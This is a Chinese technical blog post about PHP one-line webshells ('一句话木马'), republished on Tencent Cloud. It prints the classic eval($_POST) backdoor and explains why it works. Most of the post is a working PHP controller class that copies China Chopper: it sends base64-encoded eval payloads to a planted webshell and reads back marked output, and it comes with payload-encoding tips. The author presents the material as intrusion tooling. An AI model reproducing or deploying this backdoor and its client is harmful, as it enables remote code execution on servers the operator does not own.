Loading [MathJax]/jax/output/CommonHTML/fonts/TeX/AMS-Regular.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >php一句话木马深度解析

php一句话木马深度解析

作者头像
用砖头敲代码
发布于 2022-06-06 09:08:03
发布于 2022-06-06 09:08:03
4K00
代码可运行
举报
文章被收录于专栏:用砖头敲代码用砖头敲代码
运行总次数:0
代码可运行

什么是一句话木马

一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。我们可以利用一句话木马来对主机进行渗透操作,最常见的工具就是号称黑客之刃中国菜刀。这里我们主要讲解php一句话木马,因为别的语言我也不会啊。

一句话木马示例

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php @eval($_POST['pass']); ?>

一句话木马原理

在这里我们可以看到他的核心参数就是eval函数,这个eval函数是干嘛的呢,我们通过php官网的文档可以得到以下信息。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
//(PHP 4, PHP 5, PHP 7)
eval ( string $code ) : mixed //把字符串作为PHP代码执行

显然,原理已经很明了了,把字符串当做php代码来执行,再看一句话木马中eval函数传入的字符串是什么,他没有传入字符串,它传入的是一个自定义变量,POST_POST,任何字符串都是可以传入的。比如说我们传入

中国菜刀功能的实现

我们前面说过了,一句话木马最常见的利用工具是中国菜刀,那么我们已经知道原理了,是不是也可以自己写一个呢,答案是肯定的,接下来我将介绍如何实现中国菜刀的功能

Part 1.创建一个CaiDao类,并写好构造函数
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
/**
 * 中国菜刀功能实现
 */
class CaiDao
{
    public $url;
    public $pass;
    public $method;

    /**
     * 构造函数
     * @param string $url    连接地址
     * @param string $pass   连接密码
     * @param string $method 提交方式
     */
    public function __construct($url, $pass, $method = 'post')
    {
        $this->url    = $url;
        $this->pass   = $pass;
        $this->method = $method;
    }
}
Part 2.声明一个Curl网络访问函数,具体代码参考此处
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/**
 * curl最完整封装
 * @param String $url要请求的连接,支持https
 * @param integer $postpost参数
 * @param integer $refererurl来源
 * @param integer $cookiecookie
 * @param integer $header是否显示响应头
 * @param integer $ua自定义ua头
 * @param integer $nobody是否显示响应体
 * @return String响应的结果
 */
private function curl($url, $post = 0, $referer = 0, $cookie = 0, $header = 0, $ua = 0, $nobody = 0)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    $httpheader[] = "Accept:*/*";
    $httpheader[] = "Accept-Encoding:gzip,deflate,sdch";
    $httpheader[] = "Accept-Language:zh-CN,zh;q=0.8";
    $httpheader[] = "Connection:close";
    curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader);
    if ($post) {
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }
    if ($header) {
        curl_setopt($ch, CURLOPT_HEADER, true);
    }
    if ($cookie) {
        curl_setopt($ch, CURLOPT_COOKIE, $cookie);
    }
    if ($referer) {
        curl_setopt($ch, CURLOPT_REFERER, $referer);
    }
    if ($ua) {
        curl_setopt($ch, CURLOPT_USERAGENT, $ua);
    } else {
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Linux; U; Android 4.0.4; es-mx; HTC_One_X Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0");
    }
    if ($nobody) {
        curl_setopt($ch, CURLOPT_NOBODY, 1);
    }
    curl_setopt($ch, CURLOPT_ENCODING, "gzip");
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $ret = curl_exec($ch);
    curl_close($ch);
    return $ret;
}
Part 3.声明一个connect函数,来测试是否可以连接
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/**
 * 测试连接
 * @return boolean 连接结果:true/false
 */
function connect()
{
    if ($this->method == "get") {
        $result = $this->get_curl($this->url . '?' . $this->pass . "=eval(base64_decode('ZWNobyAnPG1vbGVmdD5zdWNjZXNzPC9tb2xlZnQ%2BJzs%3D'));");
        $return = mb_substr($result, (mb_strpos($result, "<moleft>") + mb_strlen("<moleft>")), (mb_strpos($result, "</moleft>") - (mb_strpos($result, "<moleft>") + mb_strlen("<moleft>"))));
    } elseif ($this->method == "post") {
        $result = $this->get_curl($this->url, $this->pass . "=eval(base64_decode('ZWNobyAnPG1vbGVmdD5zdWNjZXNzPC9tb2xlZnQ%2BJzs%3D'));");
        $return = mb_substr($result, (mb_strpos($result, "<moleft>") + mb_strlen("<moleft>")), (mb_strpos($result, "</moleft>") - (mb_strpos($result, "<moleft>") + mb_strlen("<moleft>"))));
    } else {
        return false;
    }
    if ($return == "success") {
        return true;
    } else {
        return false;
    }
}
Part 4.大功告成,使用示例如下
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
$url = 'http://127.0.0.1/index.php'; //一句话木马所在文件,一定要带文件后缀
$pass = 'pass'; //$_POST 或 $_GET 键名
$method = 'post'; //get 或post
//实例化中国菜刀对象
$caidao = new CaiDao($url,$pass,$method);
//测试连接,可以改成你的业务逻辑,成功true,失败false
var_dump($caidao->connect());

这里只实现了一个连接的功能,如果想实现更多功能可以自己写。

Part 5.敲黑板,画重点

1.执行的代码尽量用base64加密,不然提交的时候容易出错

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
eval(base64_decode('ZWNobyAnPG1vbGVmdD5zdWNjZXNzPC9tb2xlZnQ%2BJzs%3D'));

密文是:ZWNobyAnPG1vbGVmdD5zdWNjZXNzPC9tb2xlZnQ%2BJzs%3D 这里先用了urlencode,然后在base64_encode

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
//解密示例
base64_decode(urldecode('ZWNobyAnPG1vbGVmdD5zdWNjZXNzPC9tb2xlZnQ%2BJzs%3D'));

但其实实际中我们不需要urldecode,因为提交后会自动解码,你可能会问为什么要urlcode,那是因为base64加密后会出现加号(+),浏览器会把它当成空格来处理,所以我们要套一层urlencode。

2.在获取返回结果的时候,一定要加上自己的标识,不然的话没法判断,我们把上面那个字符串解密之后的结果是

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
echo '<moleft>success</moleft>';

我们需要加上类似于和这样的标记,等取到返回值,再利用下面的代码来获取我们想要的返回值

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
mb_substr( $result , (mb_strpos($result,"<moleft>") + mb_strlen("<moleft>")) ,(mb_strpos($result,"</moleft>") - (mb_strpos($result,"<moleft>") + mb_strlen("<moleft>"))));

如果你看懂了以上所说的,那么恭喜你,你可以按照这个思路来实现更多的功能。在这里就不一一示范了。

末尾的话

本来今天想多分享几篇来着,但是我家宽带不知道抽什么风,除了我的网站之外其他的网站都可以访问,一到我的网站就提示ERR_CONNECTION_RESET,,所以说整篇文章我都是在离线状态下打的,生怕一个刷新就白写了。 如果你还有什么不明白的,可以参考以下资料

不说了,用手机传完这篇文章就睡觉去了,如果有什么想法可以在评论区留言,源码以后再放出来

如无特殊说明《php一句话木马深度解析》为博主MoLeft原创,转载请注明原文链接为:https://moleft.cn/post-8.html

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
一句话木马与中国菜刀
 以php一句话为例,我们可以直接将这些语句插入到网站的某个php文件上,或者直接创建一个新的文件,在文件里写入一句话木马,然后把文件上传到网站上即可。
mathor
2018/10/10
9.3K0
php一句话免杀简单学习(附赠自用免杀一句话)
今天我们简单学习一下php的一句话木马的各种方式,通过学习这些我们可以编写出自己的免杀一句话木马。文章最后附赠免杀一句话。这里较为基础,适合新手入门学习。
网e渗透安全部
2023/09/01
5.5K0
php一句话免杀简单学习(附赠自用免杀一句话)
PHP一句话木马后门
在我们进行渗透测试的最后阶段,入侵到内网里,无论是想要浏览网站结构,还是抓取数据库,或者是挂个木马等等,到最后最常用的就是执行一句话木马,从客户端轻松连接服务器。
全栈程序员站长
2022/08/31
3.4K0
PHP一句话木马使用技巧
近来发现好多网站有安全狗,会拦截菜刀和蚁剑,因此总结下通过浏览器直接调用一句话木马的姿势。
全栈程序员站长
2022/08/31
2.8K0
PHP一句话木马使用技巧
web安全一句话木马_web安全入门
大家好,我是架构君,一个会写代码吟诗的架构师。今天说一说web安全一句话木马_web安全入门,希望能够帮助大家进步!!!
Java架构师必看
2022/08/22
5.9K0
web安全一句话木马_web安全入门
聊聊一句话木马
木马是什么意思就不用我介绍了,网站通常在渗透中找到可以操作文件的机会使用时候,和代码执行文件上传漏洞息息相关,在网站中获得种种上了木马,我们就说拿到了webshell,获得一个较低的权限,网站木马通常是入侵者入侵者拿到网站权限的标志,也是内网渗透.权限提升的开始,一般有两种网站木马,俗称小马和大马,小马又称一句话木马,以只有一句代码,功能简单而得名,大马往往有文件操作,数据操作,执行命令等复杂的功能,在渗透的过程中配合大小木马交叉使用,非常强大,这里和大家简单聊聊我见过的木马。
用户5878089
2019/07/25
1.8K0
一句话木马的各种变形
一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。一句话木马一直在跟杀软斗智斗勇,出现一种,杀软秒更新规则。木马再变形,再被杀。。。出现
洛米唯熊
2019/07/22
4.9K0
最短的各类一句话木马
菜刀readme.txt中附带一3个一句话: PHP: 1 <!--?php @eval($_POST['chopper']);?--> ASP: 1 &lt;%eval request("ch
逸鹏
2018/04/09
2.8K0
分享一些比较强悍的PHP木马大全-源码
由于PHP一句话木马可以说有很多,简单的、中等的、复杂的.......,今天主要是分享一些比较强悍的一些PHP一句话木马大全;
程序猿的栖息地
2022/04/29
5.8K0
分享一些比较强悍的PHP木马大全-源码
php 一句话木马简介
一句话木马就是一段简单的代码,就这短短的一行代码,就能做到和大马相当的功能。一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。
全栈程序员站长
2022/08/26
3.2K0
php 一句话木马简介
PHP的一句话木马代码和函数eval的简介
大清早的刚从床上爬起来。雨落就跑来找我问我这段代码是什么意思<?php @eval($_POST[pp]);?>看了一下,post接收pp的值,抑制错误输出。呵呵开个玩笑,其实不是这么简单,这是一段P
沈唁
2018/06/13
2.4K0
Wellshell一句话木马
何为一句话木马?他跟其他木马有什么区别吗? 一句话木马的叫法是来自他代码结构简单,简单到什么地步?最简单的一句话木马甚至可以就一句代码就结束了,比如经典PHP一句话:<?php @eval($_POS
Tommonkey
2023/03/20
2.7K0
QQ扫码快捷登陆
借鉴了彩虹,云青大佬的代码研究了一下做出来了自己的QQ扫码登陆并接入到网站话不多说
九霄道长
2021/03/02
3.2K0
php一句话木马变形技巧
一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令。
全栈程序员站长
2022/08/31
4.5K0
php一句话木马变形技巧
PHP的一句话木马代码和函数eval的简介
其实这段代码属于基础类的一句话,功能仅限于验证漏洞了,实际中太容易被查出来了,也就是早上雨落直接带图说检测到木马文件
沈唁
2018/06/01
3.5K0
PHP的一句话木马代码和函数eval的简介
深入浅出玩转php一句话(含过waf新姿势)
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/143614.html原文链接:https://javaforall.cn
全栈程序员站长
2022/08/31
7590
PHP 模拟登录后实现爬虫获取数据
之前看到有博友给我留言说想看 “PHP 的 Curl 利用账号密码获取一个网站登录后的内容”,最近也不知道发啥文章了,那正好上代码吧!
程序猿的栖息地
2022/04/29
2.3K0
PHP 模拟登录后实现爬虫获取数据
最新抖音无水印解析源码(仅供学习参考)
前言: 网上流传了好多抖音视频无水印的解析接口,但源码很少,能用的源码更是寥寥,在此,博主分享一篇博主用的感觉还不错的源码分享一下,下面是PHP源码 - 只提供解析原理,要做接口的自行封装一下。 直接
骤雨重山
2022/01/17
2.3K0
最新抖音无水印解析源码(仅供学习参考)
php 一句话木马检测绕过研究
一般的,利用能够执行系统命令、加载代码的函数,或者组合一些普通函数,完成一些高级间谍功能的网站后门的脚本,叫做 Webshell。
信安之路
2018/08/08
5.4K0
php 一句话木马检测绕过研究
相关推荐
一句话木马与中国菜刀
更多 >
LV.3
黑龙江码哆科技有限公司Java后端工程师
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档